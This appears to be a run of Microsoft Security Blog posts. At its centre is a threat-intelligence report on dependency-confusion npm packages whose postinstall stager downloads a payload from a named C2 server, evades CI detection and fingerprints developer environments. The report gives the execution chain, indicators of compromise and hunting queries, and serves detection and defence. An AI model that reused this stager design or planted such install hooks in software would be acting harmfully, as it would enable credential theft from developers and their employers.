Together, we are partnering across the industry to use leading models paired with our platforms and expertise to deliver protection at scale. Together, we are partnering across the industry to use leading models paired with our platforms and expertise to deliver protection at scale. “We’re excited to work with Microsoft on MDASH because it addresses one of the most pressing challenges our customers face: reducing the time between discovering a vulnerability and taking meaningful action. Microsoft’s role as a trusted security vendor matters here—customers need innovation, but they also need confidence, governance, and a partner they can rely on. Our early experience with MDASH has been encouraging, and we see real opportunity for it to help organizations modernize how they approach vulnerability discovery and remediation,” says Jason Rader, Insight CISO.  

Reach out to your Microsoft account representative for more information on the expanded preview of codename MDASH.

Prioritize and remediate code vulnerabilities with Microsoft Defender and GitHub Code Security

While codename MDASH identifies and validates what’s truly exploitable, the integration between Microsoft Defender and GitHub Code Security (part of the former GitHub Advanced Security suite), now generally available, brings runtime context into development and security workflows so that teams can prioritize and address risks early minimizing the impact to human resources. Vulnerabilities discovered in code are automatically enriched with real production signals, such as internet exposure and data sensitivity to inform prioritization. Developers can then remediate issues using AI-assisted fixes that are generated, assigned, and validated through GitHub Copilot Autofix and the GitHub Copilot cloud agent.

To support responsible, coordinated disclosure of findings that represent both real and potential vulnerabilities, role-based access controls ensure that only authorized individuals can view and act on them. Together, the production signal enrichment, AI-assisted remediation, and secure handling of findings within a single workflow help security and developer teams focus on real risk and enable teams to act quickly.

Learn more about agentic developer SecOps Secure your agents

Agents are quickly becoming a new layer of the application stack. As developers build agents and move them into production, they need the tools to ship fast without sacrificing security, including built-in identity, governance, and safety testing. Security teams have overlapping needs: visibility into what’s running, control over what agents can access, and consistent governance across clouds and endpoints. Microsoft is delivering new solutions to help.

Build secure agents from day one

At Build 2026, Microsoft is introducing new capabilities to help developers build secure, enterprise-ready agents by default. With the general availability of the Agent 365 SDK, developers can integrate controls directly into their development workflows, bringing observability, access controls, and compliance enforcement into how agents are designed and deployed. This enables teams to build custom agents for any AI platform that are compliant, and enterprise-ready, and compose well with Agent 365.

Security extends beyond development and into how agents run. On Windows, the Microsoft Execution Container (MXC) SDK provides OS-level control over agent execution, giving developers and IT teams the ability to define containment and policy, applied by the OS through isolation technologies such as process and session isolation. Windows 365 for Agents, now generally available, enables you to run any agent in a fully isolated, policy-governed Cloud PC. Native Windows integration with Agent 365 provides a common foundation for observability, security, and governance, including built-in Intune capabilities to set policies that govern agent runtime execution and control how agents operate.

These new capabilities are now in early preview.

Observe, govern, and secure agents at scale with Agent 365—now including local agents

As agents proliferate across environments, gaining visibility and control over them becomes critical. Agent 365 introduces new capabilities to manage agent sprawl and risk, including an Agent 365 Agent Registry that surfaces unmanaged local agents discovered by Microsoft Defender, Microsoft Entra, and Microsoft Intune—all working together. The registry supports more than 20 types of local agents, including coding agents, AI desktop applications, and both local and remote Model Context Protocol (MCP) servers. From there, Intune policies can be used to block common execution methods for OpenClaw agents.

Security teams also need the ability to defend against emerging threats without slowing developer productivity. Microsoft Defender, Entra, and Intune work together to provide the visibility, runtime protections, and context needed to manage agent risk without slowing developer productivity. Defender enables analysts to investigate agent activity using advanced hunting and provides an exposure graph that helps teams understand how agents are connected across the network. Preview of these capabilities coming soon.

Protecting data is foundational to securing agents at scale. Microsoft Purview controls to prevent data exfiltration, Data Security Posture Management risk discovery, and agentic risk detection for coding agents Claude Code, GitHub Copilot, OpenAI Codex, and OpenClaw. This enables visibility on how local agents access sensitive data, runtime protections for risky prompts, and insights into unsafe agent behaviors. Microsoft Purview Audit also logs all agent activity for full traceability. Preview of these capabilities coming soon.

These capabilities are now in preview Trust agents with your data

Developers also need direct, real-time insight into data security posture and risk signals associated with the agents they build. With Purview data risk signals embedded in the Foundry Control Plane, generally available, these signals provide guidance to developers on where to enforce protections before sensitive data is exposed. For example, Purview flags in real time when an agent surfaces sensitive financial data during testing and guides developers to mask or restrict access before deployment.

To further reduce risk, Purview introduces runtime data loss prevention (DLP) for agent prompts in Foundry, in preview with Agent 365. This capability detects, blocks, and audits sensitive data before it is processed by the agent, ensuring that sensitive information never reaches AI models.

Learn more about Microsoft Purview for developers Secure your models

Before AI reaches production, teams need to verify that the models they depend on are safe. Now developers can inspect model artifacts, whether platform-native or bring-your-own, with Defender AI model scanning, in preview. To help close gaps early model Defender AI model scanning detects and blocks potentially vulnerable or compromised models across registries, workspaces, and CI/CD pipelines to verify model integrity before deployment.

Trust starts with security

There should never be a choice between innovation and safety.

The capabilities announced today span the full development lifecycle: discovering what’s exploitable, governing what’s running, protecting the data AI depends on, and verifying that agents behave as intended before they reach production. Microsoft security is embedded directly into the platforms and workflows developers already use, supporting innovation across Microsoft Foundry, Copilot Studio, GitHub, and open-source frameworks, and bringing discovery and governance to shadow AI.

But real progress in AI depends on more than breakthrough capabilities—it depends on whether organizations can trust the systems they are building and deploying. That is the common thread across the innovations announced at Build 2026 and the principle guiding our approach. Because the future of AI will belong not just to those who move fastest, but to those who can innovate with trust.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity. To learn more about how security is built into the Windows platform, explore the Windows Security book and Windows Server Security book.

The post Microsoft Build 2026: Securing code, agents, and models across the development lifecycle appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
2. Threat actor attribution
3. Mitigation and protection guidance
4. Indicators of Compromise (IOC)
5. References
6. Learn more

Microsoft Threat Intelligence has uncovered an active supply chain attack involving malicious npm packages registered under organizational scopes that mirror real internal corporate namespaces, employing dependency confusion technique to deploy an obfuscated reconnaissance payload.

On May 28 and May 29, 2026, a threat actor operating under three maintainer aliases mr.4nd3r50n (mr.4nd3r50n@yandex[.]ru), ce-rwb (ogvanta@yandex[.]ru), and t-in-one (t-in-one@yandex[.]ru) published malicious packages across two publishing bursts. The packages impersonate internal corporate packages across nine different organizational scopes using a dependency confusion technique, and several spoof internal enterprise infrastructure URLs (GitHub Enterprise, Jira, documentation portals) in their package.json to appear legitimate. Once installed, the packages download and execute an obfuscated reconnaissance payload from an attacker-controlled command-and-control (C2) server.

All packages in the cluster ship the same heavily obfuscated postinstall stager and connect to the same C2 endpoint, a ~17 KB JavaScript dropper used for for environment fingerprinting and credential reconnaissance. The payload runs silently during npm install and operates in  “reconnaissance-only” mode, collecting system information, hostnames, environment variables, and developer context. The architecture includes a RECON_ONLY flag that can be toggled server-side for full exploitation in follow-on attacks. Based on our investigation and feedback to the npm team these repos and users were taken down.

Key capabilities observed in the campaign include automatic execution through npm lifecycle hooks, obfuscator.io-style anti-analysis techniques, platform-specific payload delivery (Windows, macOS, Linux), continuous integration and continuous delivery (CI/CD) environment detection and bypass, cache-based deduplication to evade repeated-execution monitoring, and a two-phase attack design (reconnaissance now, exploitation later).

Attack chain overview

 The campaign spans dozens of scoped packages published under three npm maintainer accounts that our forensic analysis attributes to a single operator (detailed in the Attribution section below). The attack proceeds through:

• Publication of dependency confusion packages under three actor identities across nine organizational scopes
• Automatic payload execution through a postinstall hook during npm install
• Execution chain: npm install → postinstall → scripts/postinstall.js (obfuscated) → HTTPS GET to C2 → write payload to tmpdir → spawn detached process
• Environment reconnaissance with credentials and context exfiltration using environment variables passed to the spawned payload

Figure 1. Dependency confusion attack flow. The lure: Dependency confusion and spoofed internal metadata

The actor adopted three social-engineering techniques designed to drive installs through misconfigured package managers or developer trust transference:

Namespace squatting

The  attacker registered packages under organizational scopes that mirror real internal corporate namespaces: @cloudplatform-single-spa, @wb-track, @data-science, @ce-rwb, @payments-widget, @travel-autotests, @t-in-one, @capibar.chat, and @sber-ecom-core. Package names like svp-baas, enterprise, monitoring, ssh-keys, shared-front, payments-widget-sdk, add_application_service_token, ui-kit, and sberpay-widget target specific internal services — the last of which directly impersonates Sberbank’s SberPay payment widget.

Spoofed enterprise metadata

Every package sets its package.json homepage, repository, bugs, and author fields to fabricated but realistic-looking internal infrastructure URLs. For example:

• Repository: git+https://github[.]cloudplatform-single-spa[.]io/platform/svp-baas.git
• Homepage: https://docs[.]cloudplatform-single-spa[.]io/platform/svp-baas
• Bugs: https://jira[.]cloudplatform-single-spa[.]io/projects/PLATFORM
• Author: Cloudplatform-Single-Spa Platform Engineering <platform@cloudplatform-single-spa[.]io>

These URLs follow the pattern of enterprise GitHub, Jira, and documentation portals, lending an air of legitimacy designed to evade casual inspection during code review.

Inflated version numbers

 mr.4nd3r50n uses version 100.100.100, an absurdly high version number designed to win npm’s server resolution against any real internal package version. ce-rwb uses a more realistic 3.5.22 to blend in with legitimate release histories. t-in-one mixes both tactics: the ten @t-in-one packages ship at 5.7.1, while @capibar.chat/ui-kit (99.5.7) and @sber-ecom-core/sberpay-widget (99.5.8) use inflated numbers — and both of the latter scopes were pre-staged with 99.0.7 releases on 2026-05-04, weeks before the main bursts.

Figure 2. The malicious package.json. The postinstall hook gains code execution on every npm install. Version 100.100.100 ensures the malicious package wins dependency resolution over any real internal version. Execution: npm lifecycle hook abuse

Every package in the cluster declares an automatic install-time hook in package.json:

"scripts": { "build": "tsc --noEmit || true", "test": "node test/index.test.js", "postinstall": "node scripts/postinstall.js", "prepublishOnly": "echo 'Building...'" }

The malicious code executes the moment a victim runs npm install; no require() from victim code is needed. The build and test scripts are cosmetic, designed to make the package appear to have a legitimate development workflow.

Stager: Obfuscated JavaScript dropper

scripts/postinstall.js is approximately 7 KB of heavily obfuscated JavaScript using obfuscator.io-style techniques:

• String array encoding: All meaningful strings (URLs, function names, environment variable keys) are stored in a rotated array and decoded at runtime through a custom Base64 variant
• Control flow flattening: Logic branches are obscured through computed dispatch tables
• Dead code injection: Anti-analysis noise makes manual review prohibitively time-consuming
• Self-defending code: Anti-tampering checks detect modifications to the obfuscated code

Figure 3. Obfuscated postinstall.js. After deobfuscation, the payload reveals the C2 URL, platform detection logic, and file-drop/spawn execution pattern. Execution flow: from npm install to detached payload

The deobfuscated execution flow proceeds through eight distinct stages:

1. CI detection bypass: The stager checks for the CI environment variable (or scope-specific equivalents like CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY). If detected, execution silently aborts. This avoids triggering alerts in monitored CI/CD pipelines where security tooling is more likely to detect anomalous behavior.
2. Node.js version validation: The stager verifies process.versions.node >= 16.0. Older Node.js versions are skipped, likely because the payload depends on modern APIs.
3. Cache deduplication: A cache directory is created at ~/.cache/<scope>_init/ (for example, ~/.cache/._cloudplatform-single-spa_init/). The stager generates a hash key from the package name, version, and project root path. If a cache entry exists and hasn’t expired, the stager exits. This prevents the payload from re-running on every npm install in the same project, reducing the chance of detection through repeated network connections.
4. Project root detection: The stager walks up the directory tree from process.cwd() looking for package.json, yarn.lock, or .git to identify the project root. This context is incorporated into the cache key and passed to the payload.
5. Platform detection: os.platform() determines the target OS variant (win32 → win, darwin → mac, default → linux).
6. Payload download: An HTTPS GET request is made to the C2 server at https://oob.moika[.]tech/payload/<platform> with a 30-second timeout. The response is a binary payload.
7. Payload drop: The downloaded binary is written to os.tmpdir() as a .js file (for example, /tmp/._cloudplatform-single-spa_init.js).
8. Detached execution: Payload spawned as an independent background process with .unref() to outlive npm install.

Figure 4. Detailed execution chain from npm install trigger through CI detection, caching, C2 download, to detached background process spawn. Reconnaissance mode and two-phase design

The environment variables passed to the spawned payload reveal a deliberate two-phase attack architecture:

VariablePurpose*_RECON_ONLYSet to “1” by default; limits payload to reconnaissance*_PKGIdentifies which internal package triggered the execution*_VERPackage version for campaign tracking*_SECRETHard-coded authentication token for C2 communication 

The RECON_ONLY flag is hard-coded to “1” in the current campaign, indicating the attacker is in Reconnaissance  — collecting environment information, hostnames, installed packages, and developer context. The architecture supports a Full exploitation mode where the flag can be toggled server-side to enable data exfiltration, credential theft, or backdoor installation on previously fingerprinted targets.

This two-phase design is sophisticated: it minimizes the risk of detection during initial deployment while building a target inventory for selective, high-value exploitation later.

Threat actor attribution

Forensic analysis of npm registry metadata across every package in the cluster provides high-confidence evidence that the three accounts (mr.4nd3r50n, ce-rwb, and t-in-one) are operated by the same individual. The single strongest piece of evidence is a shared hardcoded authentication value, l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1, sent as the X-Secret HTTP header on every outbound C2 request from every package in all three accounts.

Figure 5. Side-by-side forensic comparison of the two actor accounts. Every measurable property matches or is nearly identical, providing high-confidence single-operator attribution. Identical C2 infrastructure

Both accounts’ payloads connect to the exact same C2 server: https://oob.moika[.]tech/payload. Sharing offensive infrastructure across “separate” personas is the strongest single indicator of a single operator. Maintaining separate C2 servers would be trivial, so using the same one indicates the shared infrastructure supports our assessment that the activity is associated with a single operator.

Same publishing toolchain

 mr.4nd3r50n’s early versions (v99.99.99) were published with Node.js 20.20.1 / npm 10.8.2. ce-rwb’s packages were published with Node.js 20.20.0 / npm 10.8.2. t-in-one’s @t-in-one packages were published with Node.js 20.20.1 / npm 10.8.2 — matching mr.4nd3r50n exactly. The minor variance across the three accounts suggests the same machine at slightly different patch levels, or a small set of machines configured from the same provisioning script.

Identical package template generator

Both actors use the exact same templating system for generating fake package metadata:

• Author: “<Scope-Name> Platform Engineering” <platform@<scope>.io>
• Repository: git+https://github.<scope>.io/platform/<pkg>.git
• Documentation: https://docs.<scope>.io/platform/<pkg>
• Issue tracker: https://jira.<scope>.io/projects/PLATFORM
• README: Identical structure including a fake “Telemetry” disclaimer and the same changelog entries (“Added ARM64 support”, “Improved error handling”, “Updated TypeScript types”)

 This level of template consistency, down to identical changelog entries across every package, including the @t-in-one README that points developers at a fabricated internal registry at npm.t-in-one[.]io with matching docs.t-in-one[.]io and jira.t-in-one[.]io references — indicates a single automated package generator.

Temporal correlation: 12-minute gap

 mr.4nd3r50n published 26 packages between 18:47–18:51 UTC on May 28. ce-rwb published 7 packages between 19:02–19:03 UTC on May 28 — a 12-minute gap consistent with one person completing one publishing batch, switching npm accounts, and starting the next. t-in-one returned the following day, publishing 10 @t-in-one packages between 09:01:56 and 09:02:39 UTC on May 29 (a 43-second automated burst), with the @capibar.chat and @sber-ecom-core republishes following minutes later. The ~14-hour overnight gap between ce-rwb and t-in-one, paired with the unchanged C2 host and identical X-Secret, indicates the same operator returning to expand the campaign rather than a separate group.

Bug bounty to malware pipeline

The @cloudplatform-single-spa/logaas package reveals a critical piece of the actor’s history:

Figure 7. The actor’s evolution from bug bounty researcher (April 2024) to hosting malware (May 2026), with a ~2 year gap between phases.

• v0.0.0 (April 10, 2024): Published with keywords [“Bugbounty”, “mr4nd3r50n”] and description “BugBounty testing by mr4nd3r50n” using Node.js 21.7.1 / npm 10.5.0
• v99.99.99 (June 5, 2024): Same bug bounty markers, same toolchain
• v99.99.100 (May 28, 2026, 18:47 UTC): First appearance of the malicious obfuscated payload, upgraded to Node.js 24.8.0 / npm 11.6.0
• v100.100.100 (May 28, 2026, 18:50 UTC): Final malicious version

This timeline shows mr.4nd3r50n began as a  bug bounty researcher probing npm dependency confusion in April 2024 followed by the malicious packages observed in this campaign.y approximately two years later. The ce-rwb account has no prior publishing history, suggesting it was created specifically for the May 2026 campaign as a secondary persona to broaden the attack surface across additional organizational scopes.

Affected packages mr.4nd3r50n — 26 packages (all version 100.100.100)

All packages use the scope @cloudplatform-single-spa:

PackageDescriptionsvp-baasDatabase/Backend-as-a-ServiceenterpriseEnterprise platformvpnVPN servicemonitoringMonitoring platformdataplatform-trinoTrino data platformmarketplace-gigachatGigaChat marketplacesupportSupport toolssvp-s3-storageS3 storage serviceml-ai-agents-agentML/AI agentsssh-keysSSH key managementsecurity-groupsSecurity groupsemployeesEmployee directorycp-api-gwAPI gatewaybase-static-pageStatic page frameworkadministrationAdministration panelml-ai-agents-agent-systemAI agent systemarenadata-dbArenaData databasebusiness-solutionsBusiness solutionsdataplatform-metastoreData metastorecloud-dnsCloud DNSdataplatformData platformdatagridData gridfloating-ipsFloating IP managementcnapp-uiCNAPP security UIsvp-interfacesSVP interfaceslogaasLogging-as-a-Service ce-rwb — 7 packages (all version 3.5.22) PackageScope Targeted@wb-track/shared-frontWB-Track (warehouse/logistics tracking)@data-science/llmData Science / LLM platform@ce-rwb/ce-tools-editor-adminCE-RWB internal editor tools@ce-rwb/ce-tools-editor-renderCE-RWB internal editor tools@ce-rwb/ce-tools-editor-coreCE-RWB internal editor tools@payments-widget/payments-widget-sdkPayments processing SDK@travel-autotests/npm-protoTravel platform test protobuf t-in-one — 12 packages (May 29 wave)

t-in-one returned on May 29 with a third npm account, t-in-one (t-in-one@yandex[.]ru), and expanded the campaign across three previously unused scopes. The ten @t-in-one package names are deliberately credential- and token-themed so they read as internal auth modules; @capibar.chat/ui-kit is a textbook dependency confusion artifact against an internal UI kit; and @sber-ecom-core/sberpay-widget directly impersonates Sberbank’s SberPay payment widget — making the campaign’s financial-sector targeting explicit. Unlike the May 28 wave, the May 29 stager ships a three-layer-obfuscated postinstall (~13 KB) and adds a functional T_IN_ONE_NO_TELEMETRY kill switch and a run-once marker directory at ~/.cache/._t-in-one_init/. The C2 host, payload endpoints, and hardcoded X-Secret value are identical to the May 28 wave.

PackageScope Targeted@t-in-one/add_applicationT-in-one — credential/auth module@t-in-one/add_app_middleware_tokenT-in-one — credential/auth module@t-in-one/get_application_hidT-in-one — credential/auth module@t-in-one/form_product_tokenT-in-one — credential/auth module@t-in-one/application_id_storage_key_tokenT-in-one — credential/auth module@t-in-one/only_difference_payloadT-in-one — credential/auth module@t-in-one/prefill_credit_data_tokenT-in-one — credential/auth module@t-in-one/prefill_bundle_data_tokenT-in-one — credential/auth module@t-in-one/add_application_tidT-in-one — credential/auth module@t-in-one/add_application_service_tokenT-in-one — credential/auth module@capibar.chat/ui-kitCapibar Chat — internal UI kit@sber-ecom-core/sberpay-widgetSberbank — impersonation of SberPay payment widget Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Review dependency trees for direct or transitive usage of any of the nine affected scoped packages (@cloudplatform-single-spa, @wb-track, @data-science, @ce-rwb, @payments-widget, @travel-autotests, @t-in-one, @capibar.chat, @sber-ecom-core).
• Identify systems that installed or built any of the affected package versions on or after May 28, 2026, including the pre-staged @capibar.chat/ui-kit 99.0.7 and @sber-ecom-core/sberpay-widget 99.0.7 releases from 2026-05-04.
• Pin known-good package versions where possible and avoid automatic dependency upgrades for the affected scopes until validation is complete.
• Disable pre- and post-installation script execution by ensuring you run npm install with –ignore-scripts (or by setting npm config set ignore-scripts true globally).
• Rotate credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed on affected developer workstations or CI/CD runners.
• Scope-lock internal npm registries by configuring .npmrc so that all nine targeted scopes resolve exclusively to your private registry and never fall back to the public npm registry.
• Block egress to oob.moika[.]tech and the lure domains npm.t-in-one[.]io, docs.t-in-one[.]io, and jira.t-in-one[.]io at proxy, firewall, and DNS layers.
• Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity tied to the affected scopes.
• Review npm package lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml), build logs, and artifact provenance for evidence of compromised package versions.
• Audit ~/.cache/ directories and os.tmpdir() for dropped .js payloads matching the pattern ._<scope>_init.js (e.g., ._cloudplatform-single-spa_init.js, ._wb-track_init.js, ._t-in-one_init.js) and the run-once marker directory ~/.cache/._t-in-one_init/.
• Hunt for outbound HTTP requests carrying the header value X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1 — its presence is a high-fidelity indicator of compromise across all three operator accounts.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
• Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
• Use Microsoft Defender Vulnerability Management to search for affected scoped packages across your estate.

How Microsoft Defender helps

Microsoft Defender Antivirus detects and blocks the obfuscated postinstall stager and the detached recon payload on access. During reproduction in our analysis environment, the dropped ._<scope>_init.js stager was automatically quarantined the moment the package tarball was extracted to disk, preventing the C2 beacon to oob.moika[.]tech and blocking the platform-specific second-stage download. Microsoft Defender for Endpoint provides additional behavior-based coverage for the npm lifecycle script-abuse and detached child-process patterns observed in this campaign.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

TacticObserved activityMicrosoft Defender coverageExecutionSuspicious script execution during npm install or package lifecycle activity tied to the affected scopesMicrosoft Defender Antivirus
– Trojan:JS/ObfusNpmJs.SA  

Microsoft Defender for Endpoint
– Suspicious Node.js process behavior
– Suspicious detached child process spawned with windowsHide=true
– Suspicious file creation in temporary directory by Node.js binaryDefense EvasionThree-layer-obfuscated postinstall.js (obfuscator.io + custom base64 + integer-shuffle string table) and install-time kill switch (T_IN_ONE_NO_TELEMETRY)Microsoft Defender Antivirus
– Trojan:JS/ObfusNpmJs  

Microsoft Defender for Endpoint
– Suspicious obfuscated JavaScript execution – Anomalous environment variable usage in npm lifecycle scriptCredential AccessReconnaissance and potential harvesting of environment variables, tokens, and developer secrets via the detached payloadMicrosoft Defender for Endpoint
– Credential access attempt
– Suspicious cloud credential access by npm-spawned process
– Environment variable enumeration indicative of credential access  

Microsoft Defender for Cloud
– Possible command injection to exfiltrate credentials from a build pipelineCommand and ControlOutbound HTTPS connections from build systems or developer machines to oob.moika[.]tech carrying the hardcoded X-Secret headerMicrosoft Defender for Endpoint
– Connection to a custom network indicator
– Suspicious outbound connection from Node.js process to low-reputation domainPersistenceRun-once marker directory at ~/.cache/._t-in-one_init/ and ._<scope>_init.js payloads dropped in os.tmpdir() and launched with detached: trueMicrosoft Defender for Endpoint
– Suspicious persistence file creation in user cache directory
– Detached Node.js process surviving parent npm install exit Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Microsoft Defender XDR Threat analytics

Microsoft Defender XDR customers can reference the Threat analytics report for this campaign in the Microsoft Defender portal at https://security.microsoft.com/threatanalytics3 for the latest indicators, recommended actions, and mitigation status across their estate.

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution involving the affected scopes.

Searches for Node.js and npm activity involving install lifecycle behavior and references to the nine affected scoped packages.

DeviceProcessEvents | where FileName in~ ("node.exe", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe") | where ProcessCommandLine has_any ("preinstall", "postinstall", "install") | where ProcessCommandLine has_any ( "@cloudplatform-single-spa", "@wb-track", "@data-science", "@ce-rwb", "@payments-widget", "@travel-autotests", "@t-in-one", "@capibar.chat", "@sber-ecom-core") | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for affected package versions in software inventory.

Searches device software inventory for any installed packages from the affected scopes.

DeviceTvmSoftwareInventory | where SoftwareName has_any ( "cloudplatform-single-spa", "wb-track", "data-science", "ce-rwb", "payments-widget", "travel-autotests", "t-in-one", "capibar.chat", "sber-ecom-core") | project DeviceName, OSPlatform, SoftwareVendor, SoftwareName, SoftwareVersion

Hunt for outbound C2 activity to oob.moika[.]tech.

Searches for any device network connection to the campaign C2 host.

DeviceNetworkEvents | where Timestamp > ago(7d) | where RemoteUrl has "oob.moika.tech" or RemoteUrl has_any ("npm.t-in-one.io", "docs.t-in-one.io", "jira.t-in-one.io") | project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for suspicious outbound activity from Node.js processes.

Searches for network connections initiated by Node.js or npm processes referencing the affected scopes or node_modules paths.

DeviceNetworkEvents | where InitiatingProcessFileName in~ ("node.exe", "npm.exe", "npx.exe") | where InitiatingProcessCommandLine has_any ( "@cloudplatform-single-spa", "@wb-track", "@data-science", "@ce-rwb", "@payments-widget", "@travel-autotests", "@t-in-one", "@capibar.chat", "@sber-ecom-core", "node_modules") | project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for dropped stager payloads in temp and cache directories.

Searches device file events for the ._<scope>_init.js payload pattern and the May 29 run-once marker directory.

DeviceFileEvents | where Timestamp > ago(7d) | where FileName matches regex @"^\._.*_init\.js$" or FolderPath has_any ( ".cache/._cloudplatform-single-spa_init", ".cache/._wb-track_init", ".cache/._t-in-one_init") | project Timestamp, DeviceName, FolderPath, FileName, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for the campaign-wide X-Secret header in outbound HTTP traffic.

Searches for outbound web traffic carrying the hardcoded X-Secret value used by all three operator accounts (requires TLS decryption or proxy logging that captures request headers or bodies).

DeviceNetworkEvents | where Timestamp > ago(7d) | where AdditionalFields has "l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1" or RemoteUrl has "oob.moika.tech" | project Timestamp, DeviceName, RemoteUrl, RemoteIP, AdditionalFields, InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for affected dependency references in developer directories.

Searches for package manifest or lockfile activity referencing the affected scoped packages.

DeviceFileEvents | where FileName in~ ("package.json", "package-lock.json", "yarn.lock", "pnpm-lock.yaml", ".npmrc") | where FolderPath has_any ("node_modules", "src", "repo", "workspace") | where AdditionalFields has_any ( "@cloudplatform-single-spa", "@wb-track", "@data-science", "@ce-rwb", "@payments-widget", "@travel-autotests", "@t-in-one", "@capibar.chat", "@sber-ecom-core") | project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine Indicators of Compromise (IOC) Actor and network IOCs IndicatorTypeDescriptionmr.4nd3r50nnpm maintainerThreat actor (mr.4nd3r50n) — 26 packages, May 28 wavece-rwbnpm maintainerThreat actor (ce-rwb) — 7 packages, May 28 wavemr.4nd3r50n@yandex[.]ruEmailmr.4nd3r50n contact emailogvanta@yandex[.]ruEmailce-rwb contact emailt-in-onenpm maintainerThreat actor (t-in-one) — 12 packages across @t-in-one, @capibar.chat, @sber-ecom-core, May 29 wavet-in-one@yandex[.]ruEmailt-in-one contact emaill95HdDaz3kQx1Zsg3WxH6HvKANf51RY1Shared secretHardcoded X-Secret HTTP header value sent on every outbound C2 request from all three accounts — single-operator attribution markernpm.t-in-one[.]ioLure domainFabricated internal-registry hostname referenced in @t-in-one README to lend legitimacydocs.t-in-one[.]io / jira.t-in-one[.]ioLure domainFabricated documentation and issue-tracker hostnames in @t-in-one package metadata`oob.moika[.]tech`DomainC2 server for payload delivery`https://oob.moika[.]tech/payload/win`URLWindows payload endpoint`https://oob.moika[.]tech/payload/mac`URLmacOS payload endpoint`https://oob.moika[.]tech/payload/linux`URLLinux payload endpoint File and environment IOCs IndicatorTypeDescription`scripts/postinstall.js`FilenameObfuscated stager (~7 KB)`._cloudplatform-single-spa_init.js`FilenameDropped payload in tmpdir`._wb-track_init.js`FilenameDropped payload (ce-rwb variant)`~/.cache/._cloudplatform-single-spa_init/`DirectoryCache/dedup directory`~/.cache/._wb-track_init/`DirectoryCache/dedup directory (ce-rwb)`*_RECON_ONLY=1`Env varReconnaissance mode flag`*_PKG`Env varPackage name identifier`*_VER`Env varPackage version identifier`*_SECRET`Env varC2 authentication token._t-in-one_init.jsFilenameDropped payload in tmpdir — t-in-one (May 29 wave)~/.cache/._t-in-one_init/DirectoryRun-once marker directory used by the May 29 stager for per-host deduplicationT_IN_ONE_NO_TELEMETRYEnv varFunctional install-time kill switch honored by the May 29 obfuscated stager (the May 28 *_NO_TELEMETRY variables are README fiction only)X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1HTTP headerHardcoded authentication header sent on every outbound C2 request from all three accounts References

• https://www.npmjs.com/~mr.4nd3r50n — npm maintainer profile (26 packages)
• https://www.npmjs.com/~ce-rwb — npm maintainer profile (7 packages)
• https://www.npmjs.com/~t-in-one — npm maintainer profile (12 packages across @t-in-one, @capibar.chat, @sber-ecom-core)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 

The post Malicious npm packages abuse dependency confusion to profile developer environments appeared first on Microsoft Security Blog.

As threats become more coordinated and faster to execute, endpoint protection has become the proving ground for modern defense. For the seventh consecutive time, Microsoft has been named a Leader in the 2026 Gartner® Magic Quadrant™ for Endpoint Protection. We believe this reflects both the strength of our technology, and the trust customers place in Microsoft Defender. 

Microsoft Defender delivers industry-leading Endpoint Detection and Response (EDR), powered by global threat intelligence and built for the scale and speed of today’s attacks. For many of our customers, Defender’s endpoint capabilities are the foundation for a coordinated system of defense that spans endpoints, identities, email, apps, cloud, and data.

